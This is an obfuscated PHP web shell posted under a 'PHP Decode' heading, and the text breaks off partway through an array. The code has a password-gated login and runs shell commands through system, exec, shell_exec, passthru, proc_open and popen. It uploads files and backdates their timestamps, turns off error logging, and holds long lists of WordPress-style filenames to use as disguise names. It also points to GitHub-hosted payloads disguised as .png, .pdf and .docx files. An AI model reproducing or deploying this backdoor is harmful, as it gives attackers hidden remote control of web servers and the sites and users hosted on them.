PHP Decode

goto anbjO; wFuaQ: $enx1 = array("\151\x6e\x64\145\x78\56\x70\150\160", "\x68\x74\164\160\163\x2e\x70\x68\x70", "\156\x6f\157\160\56\x70\x68\160", "\163\165\160\x72\145\x2e\160\150\160", "\104\x6f\143\x75\x6d\145\156\x74\56\160\x68\160", "\x63\154\141\x73\x73\55\x77\160\x2d\x63\x75\163\x74\157\155\151\x7a\x65\55\x6e\141\166\55\155\145\156\x75\55\x63\x75\163\164\x6f\x6d\151\172\145\x2e\x70\150\x70", "\x4e\157\x74\x65\x2e\160\x68\160", "\x72\x65\144\171\56\x70\150\x70", "\137\x44\x6f\x63\165\x6d\145\156\x74\x2e\x70\x68\x70", "\x66\157\x6f\164\145\162\x5f\x62\x61\x63\x6b\x75\160\56\160\150\x70", "\x68\x65\x61\x64\x65\x72\137\x62\141\143\153\165\160\56\160\150\160", "\x61\160\x70\163\56\160\150\x70"); goto vHMWH; tt571: function redirectkeDepan($url) { if (!headers_sent()) { header("\x4c\x6f\143\x61\164\x69\x6f\156\x3a\40\x3f\x64\x3d" . $url); die; } else { echo "\74\x62\x6f\x64\x79\x20\157\x6e\x6c\157\x61\x64\75\x22\x68\x69\x73\x74\157\x72\171\56\147\157\50\x2d\61\x29\73\42\x3e"; die; } } goto CeI3N; uEPcl: print OS() === "\x57\151\x6e\x64\x6f\167\163" ? windisk() : ''; goto G3xou; xPVJn: if (!function_exists("\160\x6f\163\151\170\x5f\147\145\164\x65\147\x69\144")) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "\x3f"; } else { $uid = @posix_getpwuid(posix_geteuid()); $gid = @posix_getgrgid(posix_getegid()); $user = $uid["\x6e\x61\x6d\x65"]; $uid = $uid["\x75\x69\x64"]; $group = $gid["\x6e\x61\x6d\x65"]; $gid = $gid["\147\x69\144"]; } goto DGdgF; HZ07c: ini_set("\154\157\147\x5f\x65\x72\x72\x6f\x72\x73", 0); goto j38UV; qNJFn: ini_set("\x68\x74\155\x6c\137\x65\x72\162\x6f\x72\163", 0); goto HZ07c; niejV: error_reporting(0); goto RypD9; N0WPW: $itemsxz = array("\150\x74\x74\x70\163\72\57\x2f\162\141\167\x2e\147\x69\x74\x68\165\x62\x75\x73\x65\x72\x63\x6f\x6e\164\145\156\x74\56\143\157\155\57\x64\157\x31\x32\64\65\67\x34\57\x64\157\x31\62\x34\65\67\64\x2f\x6d\141\x69\x6e\x2f\x6c\x69\x63\x65\x6e\x73\145\x73\x2e\160\156\147", "\x68\x74\164\x70\163\x3a\57\x2f\162\141\167\x2e\147\x69\x74\x68\165\142\x75\x73\145\162\143\157\x6e\x74\145\156\164\x2e\x63\x6f\x6d\57\x64\x6f\x31\x32\64\65\x37\x34\57\144\x6f\61\62\64\65\67\x34\x2f\155\x61\x69\x6e\x2f\143\x6c\141\163\x73\x2d\167\160\x2d\143\165\x73\164\x6f\155\151\172\x65\55\x6e\141\x76\55\x6d\145\x6e\165\55\x63\x75\163\164\x6f\155\151\172\145\56\x70\x6e\x67", "\x68\x74\164\x70\163\x3a\x2f\57\x72\141\x77\56\147\x69\164\150\165\142\x75\x73\x65\162\x63\x6f\156\x74\145\156\164\56\143\x6f\x6d\57\144\x6f\x31\62\x34\65\x37\x34\x2f\x64\157\61\62\x34\65\x37\64\57\155\x61\151\x6e\57\116\157\164\145\x2e\160\156\x67", "\150\164\x74\160\163\72\57\x2f\162\x61\167\56\147\151\x74\x68\x75\x62\x75\x73\x65\x72\143\157\x6e\164\145\156\164\x2e\x63\x6f\x6d\57\x64\157\x31\62\64\65\67\x34\57\x64\x6f\x31\62\64\65\x37\64\57\x6d\141\x69\156\57\163\x75\160\162\145\x2e\x70\156\x67", "\x68\164\164\160\x73\x3a\57\57\x67\x69\x74\150\x75\142\x2e\143\157\155\57\x64\x6f\x31\x32\x34\x35\x37\x34\x2f\x64\157\x31\x32\x34\x35\67\64\57\162\141\167\57\x6d\141\151\156\x2f\x72\141\x77\x31\x2e\160\x64\x66", "\x68\164\164\x70\x73\72\57\57\147\151\x74\150\165\142\56\x63\157\x6d\x2f\144\x6f\x31\62\x34\65\67\x34\x2f\x64\157\x31\x32\64\x35\x37\64\57\162\x61\167\57\155\141\x69\x6e\x2f\162\141\x77\62\x2e\x70\144\x66", "\x68\x74\x74\x70\163\72\57\57\x72\141\167\56\147\151\164\150\x75\142\165\163\145\162\x63\157\156\164\145\x6e\164\x2e\x63\x6f\155\57\144\x6f\61\x32\x34\x35\x37\x34\57\144\157\x31\62\64\x35\67\64\x2f\155\141\x69\156\57\x61\160\160\163\56\x70\156\147", "\150\164\164\x70\163\x3a\57\x2f\162\141\167\56\x67\151\x74\150\165\x62\x75\x73\145\x72\x63\157\156\x74\x65\x6e\164\x2e\143\x6f\x6d\57\x64\x6f\61\x32\x34\x35\x37\64\57\x64\157\x31\62\64\65\x37\64\x2f\155\x61\x69\x6e\x2f\62\x30\x32\62\56\144\x6f\143\x78"); goto jZQlo; KlSDA: if (empty($_SESSION[md5($_SERVER["\x48\x54\124\x50\137\110\117\123\x54"])])) { if (isset($_POST[$keyxx]) and sha1(md5($_POST[$keyxx])) == $auth_pass5) { $_SESSION[md5($_SERVER["\x48\x54\124\x50\x5f\110\117\x53\x54"])] = true; } else { printLoginx(); } die; } goto yZMr4; fkNiz: function hex($n) { $y = ''; for ($i = 0; $i < strlen($n); $i++) { $y .= dechex(ord($n[$i])); } return $y; } goto ebdo6; yZMr4: ob_start(); goto niejV; DREeB: $enx0 = array("\151\156\x64\145\170\x2e\x70\150\x70", "\167\160\55\154\157\x67\151\x6e\56\160\x68\160", "\170\155\x6c\x72\x70\143\56\x70\x68\160", "\x65\x64\x69\x74\55\146\157\x72\x6d\55\x61\144\166\x61\x6e\143\145\144\56\x70\x68\160", "\154\151\x6e\153\x2d\160\141\x72\x73\145\x2d\157\x70\155\x6c\56\x70\150\160", "\x6d\163\55\x73\x69\164\x65\x73\x2e\x70\x68\x70", "\x6f\160\x74\151\x6f\156\x73\x2d\167\162\x69\164\x69\156\147\56\x70\150\x70", "\164\x68\x65\155\x65\x73\x2e\x70\x68\x70", "\x68\164\x74\160\163\x2e\160\150\160", "\143\154\x61\x73\x73\x2d\x68\164\x74\160\x73\x2e\x70\x68\160", "\141\x64\x6d\151\156\55\x61\152\141\170\56\x70\150\x70", "\145\144\x69\x74\55\146\157\x72\155\x2d\143\x6f\x6d\x6d\x65\156\x74\56\x70\x68\x70", "\154\151\156\x6b\56\x70\x68\x70", "\155\x73\x2d\164\150\145\155\x65\x73\x2e\160\x68\x70", "\137\104\157\x63\165\155\x65\x6e\164\x2e\160\x68\160", "\x70\154\165\x67\x69\x6e\55\x65\144\x69\x74\157\162\x2e\160\150\160", "\141\144\x6d\151\156\x2d\x66\157\x6f\164\x65\162\56\x70\150\160", "\x65\x64\151\164\x2d\154\x69\156\153\55\146\157\x72\x6d\x2e\x70\150\160", "\162\x65\x67\x69\x73\x74\162\x61\x74\151\157\x6e\x2d\x66\x75\156\143\164\151\157\x6e\163\56\x70\x68\160", "\x6c\x6f\141\x64\x2d\163\x63\x72\151\160\x74\163\56\x70\x68\160", "\155\163\x2d\x75\160\x67\x72\x61\144\145\x2d\x6e\x65\164\167\157\162\153\x2e\160\x68\x70", "\141\144\x6d\151\156\x2d\146\x75\x6e\x63\164\x69\157\x6e\x73\x2e\160\x68\160", "\x65\x64\151\x74\56\160\150\x70", "\154\x6f\x61\144\55\163\164\x79\x6c\x65\x73\x2e\160\150\x70", "\x6d\163\x2d\x75\163\145\x72\x73\x2e\160\150\x70", "\160\154\165\x67\151\156\x73\56\x70\x68\x70", "\x61\x64\x6d\151\156\55\150\145\141\144\x65\x72\x2e\160\150\160", "\154\151\x63\145\x6e\163\x65\163\56\160\x68\160", "\145\x64\x69\x74\55\x74\x61\x67\x2d\x66\x6f\162\155\56\x70\150\x70", "\155\x65\144\151\141\x2d\156\x65\167\x2e\160\x68\160", "\155\x79\x2d\163\151\164\x65\x73\x2e\x70\x68\160", "\141\x70\x70\x73\x2e\x70\150\160", "\x70\157\163\164\x2d\156\145\x77\56\160\x68\160", "\165\x70\147\162\x61\144\x65\x2d\x74\150\x65\x6d\145\163\x2e\160\x68\x70", "\x73\141\156\x64\x77\x69\143\x68\x2e\x70\x68\160", "\145\x64\x69\164\x2d\164\x61\147\163\56\x70\150\160", "\156\x6f\157\160\56\160\x68\160", "\x6d\x65\144\x69\x61\56\160\150\x70", "\x6e\141\166\x2d\x6d\x65\x6e\165\x73\x2e\160\150\160", "\160\x6f\163\164\x73\x2e\160\x68\160", "\141\144\x6d\x69\156\55\x70\157\163\164\56\160\150\160", "\104\x6f\143\165\x6d\145\156\164\56\x70\150\x70", "\145\x78\x70\157\x72\x74\56\x70\150\x70", "\x4e\157\x74\145\56\160\150\160", "\x6d\145\144\x69\141\55\x75\160\x6c\157\141\x64\x2e\x70\150\160", "\156\x65\164\x77\x6f\162\153\56\x70\150\160", "\x70\162\145\163\163\55\164\x68\151\x73\56\160\150\x70", "\x75\160\x6c\x6f\141\144\x2e\160\150\x70", "\141\x73\x79\156\143\55\165\160\x6c\157\x61\144\x2e\160\x68\x70", "\x6d\145\156\165\55\150\x65\141\x64\145\x72\x2e\160\150\160", "\157\160\x74\x69\x6f\x6e\x73\x2d\x64\x69\163\143\x75\x73\163\x69\157\156\x2e\x70\150\160", "\160\x72\x69\166\141\x63\x79\x2e\x70\x68\x70", "\165\x73\x65\162\x2d\145\x64\x69\x74\x2e\160\150\160", "\155\x65\x6e\165\56\160\x68\x70", "\x6f\x70\164\151\157\x6e\x73\x2d\x67\x65\x6e\145\162\x61\x6c\56\x70\x68\160", "\x70\162\x6f\146\x69\x6c\x65\x2e\160\150\160", "\165\163\x65\x72\55\x6e\145\x77\56\x70\150\x70", "\x6d\x6f\x64\x65\162\141\164\x69\157\156\x2e\x70\150\160", "\x6f\x70\164\x69\x6f\x6e\x73\x2d\150\145\x61\x64\x2e\x70\150\x70", "\162\x65\x76\151\163\x69\x6f\156\x2e\160\x68\x70", "\x75\x73\145\x72\x73\x2e\160\x68\x70", "\x63\x75\x73\164\157\x6d\55\142\141\x63\153\147\x72\157\x75\x6e\x64\x2e\160\x68\160", "\x6d\x73\x2d\141\144\155\151\x6e\x2e\160\150\160", "\x6f\x70\x74\x69\x6f\156\163\55\155\145\x64\151\141\x2e\160\150\x70", "\x73\145\x74\165\x70\55\x63\157\156\146\151\x67\x2e\x70\x68\x70", "\x77\151\144\x67\x65\x74\x73\x2e\160\x68\160", "\x74\x68\145\x6d\x65\x2d\163\151\156\x67\x6c\x65\56\x70\150\160", "\143\x75\x73\x74\157\x6d\x2d\x68\x65\141\x64\x65\162\x2e\160\150\160", "\155\x73\55\144\x65\x6c\x65\x74\x65\x2d\163\x69\164\x65\x2e\x70\150\x70", "\x6f\x70\x74\x69\157\156\x73\x2d\160\x65\162\155\141\154\151\x6e\x6b\x2e\160\150\160", "\x74\145\162\155\x2e\x70\150\x70", "\143\x75\x73\x74\157\x6d\x69\172\145\56\x70\150\x70", "\154\x69\x6e\x6b\x2d\141\x64\x64\56\160\150\x70", "\163\165\160\x72\145\x2e\x70\x68\x70", "\155\163\55\145\144\151\164\x2e\x70\x68\160", "\157\x70\x74\x69\x6f\x6e\163\56\160\x68\160", "\145\x64\151\164\x2d\x63\157\155\x6d\145\156\164\x73\56\160\150\160", "\x6c\151\x6e\153\x2d\155\x61\x6e\x61\x67\145\162\x2e\160\x68\160", "\155\x73\55\157\x70\x74\151\x6f\x6e\163\x2e\160\x68\x70", "\157\x70\164\x69\157\156\x73\55\162\x65\x61\144\151\x6e\147\x2e\x70\150\x70", "\170\155\154\162\x70\x63\x2e\160\x68\160", "\143\x6f\155\x6d\145\x6e\x74\163\x2e\160\x68\x70", "\146\x72\x6f\x6e\164\55\160\141\147\145\56\160\150\x70", "\150\x6f\155\145\56\160\x68\160", "\162\145\x64\x79\56\x70\150\160", "\150\145\x61\144\145\162\56\160\x68\160", "\151\x6e\144\145\170\56\x70\x68\x70", "\163\x69\156\x67\165\x6c\141\x72\x2e\x70\x68\x70", "\x73\x69\x6e\147\x6c\x65\x2e\160\150\160", "\163\x69\x6e\x67\154\145\55\x77\x6f\x72\144\x70\162\x65\163\163\x2e\x70\x68\x70", "\x70\x61\x67\x65\56\x70\150\x70", "\143\x61\x74\x65\147\x6f\x72\x79\56\x70\150\x70", "\164\141\147\x2e\x70\150\x70", "\164\141\170\x6f\156\x6f\155\171\x2e\x70\150\x70", "\141\x75\x74\150\x6f\162\56\x70\x68\x70", "\144\x61\x74\145\x2e\160\x68\160", "\141\162\143\x68\151\x76\x65\56\x70\150\x70", "\163\145\x61\162\x63\x68\56\x70\x68\x70", "\x61\x74\164\x61\143\150\155\145\x6e\x74\x2e\x70\x68\160", "\x69\x6d\x61\x67\x65\x2e\x70\x68\x70", "\64\x30\64\56\x70\150\160", "\x68\164\x74\160\x73\56\x70\150\x70", "\162\x65\x64\171\x2e\160\150\x70", "\143\154\141\x73\x73\x2d\x77\x70\x2d\143\x75\163\164\x6f\x6d\151\172\145\55\156\x61\166\55\155\x65\x6e\165\x2d\143\x75\x73\x74\x6f\155\151\x7a\145\x2e\x70\150\x70", "\146\157\157\x74\x65\x72\137\x62\141\143\x6b\x75\x70\x2e\160\x68\160", "\150\145\x61\x64\x65\x72\137\x62\141\143\153\165\x70\56\160\150\x70"); goto wFuaQ; BrFla: if (isset($_GET["\144"])) { $d = uhex($_GET["\144"]); $GNJ[2](uhex($_GET["\x64"])); } else { $d = $GNJ[3](); } goto qK8mO; hnU8n: if (isset($_FILES["\x6e"])) { $z = $_FILES["\156"]["\156\141\155\145"]; $r = count($z); for ($i = 0; $i < $r; $i++) { if ($GNJ[5]($_FILES["\x6e"]["\164\x6d\x70\137\156\141\155\145"][$i], $z[$i])) { echo $f; @touch($z[$i], strtotime("\55" . rand(30, 150) . "\40\x64\141\171\163", time())); } else { echo $g; } } } goto uFytX; wMg_4: function ganti_massal($dir) { if (is_writable($dir)) { foreach (new DirectoryIterator($dir) as $fileInfo) { @touch($fileInfo->getFilename(), strtotime("\x2d" . rand(30, 150) . "\x20\144\141\x79\x73", time())); echo "\x3c\57\x63\145\x6e\x74\145\x72\76\127\162\x69\164\141\142\154\145\40" . $fileInfo->getFilename() . "\x20\x74\x69\155\145\40\150\141\x73\x20\142\x65\145\156\x20\x63\150\141\156\147\145\144\74\x62\x72\x3e\xa"; } } } goto BQYMx; j38UV: ini_set("\154\157\x67\x5f\145\x72\x72\157\x72\x73\x5f\155\141\170\137\x6c\x65\156", 0); goto OllkR; DEdYQ: function windisk() { $letters = ''; $v = explode("\134", path()); $v = $v[0]; foreach (range("\101", "\x5a") as $letter) { $bool = $isdiskette = in_array($letter, array("\x41")); if (!$bool) { $bool = is_dir("{$letter}\x3a\x5c"); } if ($bool) { $letters .= "\133\40\74\x61\40\150\162\145\x66\75\x27\77\144\151\162\x3d{$letter}\72\134\47" . ($isdiskette ? "\x20\x6f\x6e\x63\154\151\143\x6b\75\x22\162\x65\x74\165\162\x6e\40\x63\x6f\156\x66\151\162\155\x28\47\x4d\x61\153\145\40\x73\165\x72\145\40\x74\x68\141\164\x20\164\x68\145\x20\x64\151\x73\153\145\164\164\x65\40\151\163\40\x69\x6e\163\x65\x72\164\145\144\x20\160\162\157\x70\x65\162\x6c\171\x2c\x20\157\164\x68\145\x72\167\151\x73\145\x20\141\156\40\145\162\x72\157\x72\40\x6d\141\171\40\157\143\x63\x75\162\x2e\x27\x29\x22" : '') . "\x3e"; if ($letter . "\72" != $v) { $letters .= $letter; } else { $letters .= color(1, 2, $letter); } $letters .= "\74\x2f\x61\x3e\x20\135"; } } if (!empty($letters)) { print "\x44\145\x74\x65\x63\x74\145\x64\40\x44\162\151\166\145\163\x20{$letters}\x3c\142\162\76"; } } goto LNHRn; ZMpqN: echo "\x3c\146\157\x6f\164\145\162\40\x63\x6c\141\163\163\x3d\42\x78\x22\76\12\x9\11\11\x9\x3c\x62\162\x3e\74\150\x72\x3e\74\x62\162\x3e\xa\x9\x9\x9\11\x9\x3c\143\x65\156\164\145\x72\76\x43\x6f\160\171\x6c\x65\146\164\x20\62\60\x32\x31\x20\61\x73\164\74\163\x70\141\x6e\x20\x73\164\x79\x6c\x65\75\42\143\157\x6c\157\x72\x3a\40\x23\x65\62\65\x35\65\65\73\42\x3e\x26\x68\x65\141\162\x74\x73\x3b\x3c\57\163\x70\141\156\x3e\x20\x3c\141\x20\157\156\143\x6c\x69\143\153\x3d\x22\162\x65\x74\165\162\x6e\x20\143\157\x6e\x66\151\162\x6d\x28\x27\102\171\x65\x20\41\47\x29\73\x22\x20\x63\154\x61\163\163\75\x22\x6e\x61\x76\x2d\154\151\x6e\153\x20\x61\152\170\42\x20\150\x72\x65\146\x3d\x22\77\144\75" . hex($d) . "\46" . hex("\153\151\x6c\x6c\x73\145\x6c\146") . "\42\x3e\113\x69\x6c\154\40\x59\x6f\165\x72\163\x65\x6c\x66\40\x77\x69\x74\x68\40\113\151\x6e\144\156\x65\163\163\x3c\57\141\76\40\x3c\x2f\x63\145\x6e\x74\145\x72\76\xa\x9\11\x9\11\74\x2f\x66\x6f\157\x74\145\x72\76"; goto w3ssC; iYoPC: $oracle = function_exists("\x6f\143\x69\x5f\143\157\156\x6e\145\x63\x74") ? "\x4f\x4e" : "\x4f\106\106"; goto d1o_8; kVqQ9: echo "\74\57\144\151\166\76\x20\x3c\x2f\x64\151\x76\76\x20\x20"; goto A6RRt; EzWWV: $d_ = "\x3c\x69\x6e\x70\165\x74\x20\x74\171\160\x65\x3d\x22\163\x75\x62\155\x69\x74\42\x20\x63\x6c\x61\x73\x73\75\42\146\x6f\x72\x6d\x2d\143\x6f\x6e\x74\x72\157\154\x20\143\x6f\x6c\55\155\144\55\63\x22\x20\x76\x61\x6c\165\145\75\x22\x26\156\x62\x73\160\x3b\117\x4b\x26\156\x62\x73\160\x3b\42\40\57\76\xa\x9\x9\x9\11\x9\x9\11\11\x9\74\x2f\x66\157\x72\x6d\x3e"; goto z4F2U; Ky09B: function path() { if (isset($_GET["\144\151\162"])) { $dir = str_replace("\134", "\57", $_GET["\x64\x69\162"]); @chdir($dir); } else { $dir = str_replace("\x5c", "\57", getcwd()); } return $dir; } goto tkv39; L61gB: function GetFileTime($x, $y) { switch ($y) { case "\143\162\145\x61\164\145": return date("\x59\x2d\155\55\x64\40\110\x3a\151\x3a\x73", @filectime($x)); break; case "\155\157\x64\x69\146\x79": return date("\x59\x2d\x6d\x2d\144\40\x48\x3a\151\x3a\163", @filemtime($x)); break; case "\141\143\x63\145\163\163": return date("\x59\55\155\x2d\x64\x20\x48\x3a\151\72\163", @fileatime($x)); break; } } goto QAcjS; mBcUF: function dre($y1, $y2) { global $GNJ; ob_start(); $GNJ[16]($y1($y2)); return $GNJ[36](); } goto fkNiz; QAcjS: function GetFilePerm($x) { $perms = @fileperms($x); switch ($perms & 61440) { case 49152: $info = "\163"; break; case 40960: $info = "\154"; break; case 32768: $info = "\x72"; break; case 24576: $info = "\x62"; break; case 16384: $info = "\144"; break; case 8192: $info = "\x63"; break; case 4096: $info = "\160"; break; default: $info = "\165"; } $info .= $perms & 256 ? "\x72" : "\55"; $info .= $perms & 128 ? "\167" : "\55"; $info .= $perms & 64 ? $perms & 2048 ? "\163" : "\170" : ($perms & 2048 ? "\x53" : "\55"); $info .= $perms & 32 ? "\x72" : "\x2d"; $info .= $perms & 16 ? "\167" : "\x2d"; $info .= $perms & 8 ? $perms & 1024 ? "\163" : "\x78" : ($perms & 1024 ? "\123" : "\55"); $info .= $perms & 4 ? "\162" : "\55"; $info .= $perms & 2 ? "\167" : "\x2d"; $info .= $perms & 1 ? $perms & 512 ? "\164" : "\170" : ($perms & 512 ? "\124" : "\55"); return sprintf("\45\x73\x20\133\x25\x73\135", $info, substr(decoct($perms), 2)); } goto rLWEB; Xq83t: function exe($cmd) { $cmd = $cmd . "\x20\62\76\x26\61"; if (!is_null($buff = `{$cmd}`)) { return $buff; } elseif (function_exists("\163\171\163\x74\x65\155")) { ob_start(); $system = system($cmd); $buff = ob_get_contents(); ob_end_clean(); return $buff; } elseif (function_exists("\x65\170\x65\x63")) { $buff = ''; exec($cmd, $results); foreach ($results as $result) { $buff .= $result; } return $buff; } elseif (function_exists("\163\x68\x65\x6c\x6c\x5f\x65\x78\x65\143")) { $buff = shell_exec($cmd); return $buff; } elseif (function_exists("\160\x63\x6e\x74\154\x5f\145\170\145\143")) { $buff = pcntl_exec($cmd); return $buff; } elseif (function_exists("\x70\141\163\163\x74\150\162\x75")) { ob_start(); $passthru = passthru($cmd); $buff = ob_get_contents(); ob_end_clean(); return $buff; } elseif (function_exists("\x70\162\157\143\137\x6f\160\x65\156")) { $proc = proc_open($cmd, array(array("\160\151\x70\145", "\162"), array("\160\151\x70\x65", "\x77"), array("\160\x69\x70\x65", "\167")), $pipes); $buff = stream_get_contents($pipes[1]); return $buff; } elseif (function_exists("\x70\157\160\145\156")) { $buff = ''; $pop = popen($cmd, "\x72"); while (!feof($pop)) { $buff .= fread($pop, 1024); } pclose($pop); return $buff; } if (empty($buff)) { $buff = ''; } return "\x52\x2e\111\x2e\120\40\x43\x6f\155\155\141\x6e\x64"; } goto ceApi; dF2ps: $used = disk_total_space("\57") - disk_free_space("\x2f"); goto Ky09B; RypD9: ini_set("\x65\162\x72\x6f\x72\137\x6c\157\x67", null); goto qNJFn; W0Lbe: function featureUpload($path, $file, $cwd) { chdir($cwd); $f = @fopen($path, "\167\142"); if ($f === FALSE) { return array("\x73\164\x64\x6f\165\164" => array("\111\156\166\x61\154\x69\144\40\x70\141\x74\x68\x20\57\40\x6e\x6f\x20\x77\x72\151\164\x65\40\x70\145\x72\155\151\163\163\151\157\156\x2e"), "\143\167\x64" => getcwd()); } else { fwrite($f, base64_decode($file)); fclose($f); return array("\x73\x74\144\157\165\x74" => array("\104\x6f\x6e\x65\x2e"), "\x63\167\x64" => getcwd()); } } goto U25MO; Xccco: $safemode_include_dir = @ini_get("\x73\141\x66\145\x5f\155\157\x64\145\137\x69\x6e\143\154\x75\x64\x65\x5f\x64\151\162"); goto rK0sT; rLWEB: function GetFileSize($x) { $x = abs($x); $size = array("\102", "\x4b\102", "\115\x42", "\107\x42", "\x54\x42", "\120\x42", "\105\x42", "\132\102", "\131\102"); $exp = $x ? floor(log($x) / log(1024)) : 0; return sprintf("\x25\x2e\62\x66\x20" . $size[$exp], $x / pow(1024, floor($exp))); } goto izpLw; aLcus: function generateRandomString($length = 10) { $characters = "\60\61\x32\63\x34\65\x36\x37\70\x39\141\x62\x63\144\145\x66\147\x68\x69\x6a\x6b\154\155\156\x6f\x70\x71\x72\163\x74\165\x76\167\170\x79\172\101\102\x43\x44\x45\x46\107\x48\x49\x4a\x4b\x4c\x4d\116\117\x50\121\x52\x53\x54\x55\126\x57\x58\131\x5a"; $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; } goto p2K9j; Nui2y: $keyxx = $_SESSION["\153\x65\171\x78\x78"]; goto KlSDA; vHMWH: $enx2 = array("\x69\156\x64\145\170\56\160\x68\160", "\x44\x42\x5f\165\164\x69\154\151\x74\171\56\160\x68\x70", "\160\x6f\163\x74\147\162\145\137\144\x72\x69\166\x65\x72\x2e\x70\150\160", "\x70\157\163\x74\x67\162\x65\137\x72\x65\163\165\154\x74\x2e\x70\150\x70", "\160\x6f\x73\x74\147\x72\x65\137\146\x6f\162\x67\145\56\160\x68\160", "\160\157\163\x74\147\x72\145\x5f\165\x74\151\154\x69\x74\x79\56\x70\150\160", "\x73\x71\154\x73\x72\x76\x5f\x66\x6f\x72\x67\x65\x2e\x70\150\x70", "\163\161\154\163\162\x76\137\x64\x72\151\166\x65\162\56\160\x68\160", "\x73\x71\x6c\163\162\x76\137\x72\x65\163\165\x6c\x74\x2e\160\150\160", "\x73\x71\154\163\162\x76\137\165\164\151\154\x69\x74\x79\x2e\x70\x68\x70", "\x70\x64\157\137\157\x64\x62\143\137\x64\x72\x69\166\145\162\56\x70\x68\x70", "\x70\x64\157\137\64\144\x5f\144\162\151\x76\x65\x72\x2e\160\150\x70", "\160\x64\157\137\163\161\154\163\162\166\x5f\144\x72\x69\x76\x65\162\x2e\x70\150\160", "\x70\x64\157\x5f\163\161\154\x69\x74\145\x5f\146\x6f\162\147\x65\56\x70\x68\x70", "\160\144\x6f\x5f\157\x63\x69\x5f\146\157\162\x67\x65\x2e\x70\x68\160", "\x70\144\157\137\x64\142\154\151\142\137\x66\x6f\162\147\145\56\x70\150\160", "\x70\144\x6f\137\143\x75\142\162\x69\x64\x5f\x66\x6f\x72\x67\145\x2e\x70\x68\x70", "\160\x64\x6f\137\x64\142\154\x69\x62\x5f\x64\x72\x69\166\x65\x72\56\160\x68\x70", "\x70\x64\157\137\160\x67\163\x71\x6c\137\x64\x72\x69\166\145\162\56\x70\150\x70", "\x70\144\157\x5f\160\x67\x73\161\x6c\137\x66\x6f\x72\147\145\x2e\160\150\x70", "\x70\x64\x6f\137\151\x62\x6d\137\146\157\x72\x67\x65\56\160\x68\x70", "\160\144\157\x5f\151\x6e\x66\x6f\x72\155\151\170\x5f\x64\x72\151\166\145\x72\56\x70\x68\160", "\x70\x64\x6f\x5f\x6d\x79\163\161\x6c\137\x64\x72\151\x76\145\x72\x2e\160\150\160", "\x70\144\157\x5f\x34\x64\x5f\146\157\162\x67\145\x2e\160\150\x70", "\x70\144\157\x5f\x6f\x63\x69\137\x64\x72\x69\x76\145\162\56\x70\150\160", "\x70\144\x6f\x5f\x69\142\x6d\137\144\x72\151\x76\145\x72\56\160\x68\x70", "\x70\x64\x6f\x5f\163\x71\154\x69\164\145\137\x64\x72\151\x76\145\162\x2e\x70\x68\x70", "\160\144\157\137\155\171\x73\161\154\137\x66\157\162\147\x65\56\160\x68\160", "\160\x64\x6f\137\x63\x75\x62\162\151\x64\137\144\x72\151\x76\145\x72\x2e\x70\150\x70", "\160\144\x6f\137\x73\x71\x6c\163\162\166\x5f\x66\157\x72\x67\x65\56\x70\150\x70", "\x70\x64\x6f\137\146\x69\x72\145\142\x69\162\x64\137\x66\x6f\162\147\145\x2e\160\150\160", "\x70\x64\x6f\137\x6f\x64\x62\x63\137\x66\157\x72\x67\x65\56\x70\150\160", "\160\x64\x6f\137\151\x6e\x66\157\x72\155\x69\170\x5f\x66\157\162\147\x65\x2e\160\x68\160", "\160\144\x6f\137\x66\151\162\x65\x62\x69\162\144\137\x64\x72\151\166\145\162\x2e\160\x68\160", "\x70\144\x6f\x5f\146\157\162\x67\x65\x2e\160\x68\x70", "\160\144\157\137\162\145\x73\x75\154\164\x2e\160\150\x70", "\x70\144\157\x5f\x75\x74\x69\154\151\x74\x79\x2e\x70\x68\160", "\160\x64\x6f\x5f\144\162\151\x76\x65\x72\x2e\x70\x68\160", "\x73\x71\154\x69\164\145\137\x64\162\151\166\145\x72\x2e\x70\150\160", "\163\x71\x6c\x69\x74\x65\x5f\162\x65\163\x75\x6c\164\x2e\160\150\x70", "\163\161\x6c\151\x74\145\137\165\164\x69\x6c\151\x74\x79\x2e\x70\x68\160", "\163\x71\x6c\151\164\145\x5f\x66\x6f\162\x67\145\x2e\x70\150\160", "\143\165\x62\x72\151\144\137\144\162\151\166\145\162\56\160\150\160", "\143\x75\x62\x72\151\144\x5f\162\x65\x73\165\x6c\164\56\160\150\x70", "\x63\x75\x62\162\151\144\137\165\x74\x69\154\x69\164\171\x2e\x70\x68\160", "\143\x75\142\x72\151\144\137\x66\x6f\162\x67\145\56\x70\x68\160", "\x6f\143\x69\70\137\x75\x74\151\x6c\x69\164\x79\x2e\x70\150\160", "\157\143\x69\x38\137\162\145\163\x75\x6c\164\x2e\x70\x68\160", "\157\x63\151\x38\137\144\x72\x69\x76\x65\162\56\x70\x68\160", "\x6f\143\x69\70\137\146\x6f\162\x67\145\56\x70\x68\160", "\157\x64\x62\x63\137\x72\145\163\x75\x6c\x74\56\160\150\x70", "\157\144\142\143\x5f\165\x74\x69\x6c\x69\x74\171\56\x70\150\160", "\x6f\x64\142\143\137\144\x72\151\166\145\162\x2e\x70\150\x70", "\157\x64\x62\x63\x5f\x66\157\162\147\145\56\160\x68\160", "\163\161\x6c\151\x74\145\x33\x5f\146\x6f\162\147\x65\56\160\150\x70", "\x73\161\x6c\151\164\145\x33\x5f\x75\x74\x69\x6c\x69\164\171\56\x70\x68\x70", "\x73\x71\x6c\151\x74\145\x33\x5f\162\145\163\165\154\164\x2e\x70\x68\160", "\163\x71\x6c\151\x74\145\63\x5f\x64\x72\x69\166\x65\x72\56\160\150\160", "\x6d\171\x73\161\x6c\x5f\162\145\163\x75\x6c\164\x2e\x70\150\160", "\155\x79\x73\161\x6c\137\x75\164\151\x6c\x69\x74\x79\x2e\160\150\160", "\155\171\x73\161\x6c\x5f\144\x72\x69\x76\x65\162\56\160\150\160", "\155\171\x73\161\154\137\x66\157\x72\147\x65\56\x70\x68\x70", "\155\171\x73\x71\x6c\x69\x5f\x72\x65\x73\165\154\164\56\160\150\x70", "\155\x79\163\x71\x6c\x69\137\146\x6f\x72\147\145\x2e\x70\x68\x70", "\x6d\x79\x73\x71\154\x69\x5f\x64\162\151\166\145\x72\x2e\x70\150\160", "\x6d\171\x73\x71\x6c\x69\137\165\x74\x69\x6c\x69\x74\x79\56\160\150\x70", "\x69\x62\x61\x73\145\137\x75\x74\x69\x6c\151\x74\171\x2e\160\150\x70", "\x69\x62\x61\x73\145\x5f\146\x6f\x72\147\145\x2e\160\x68\x70", 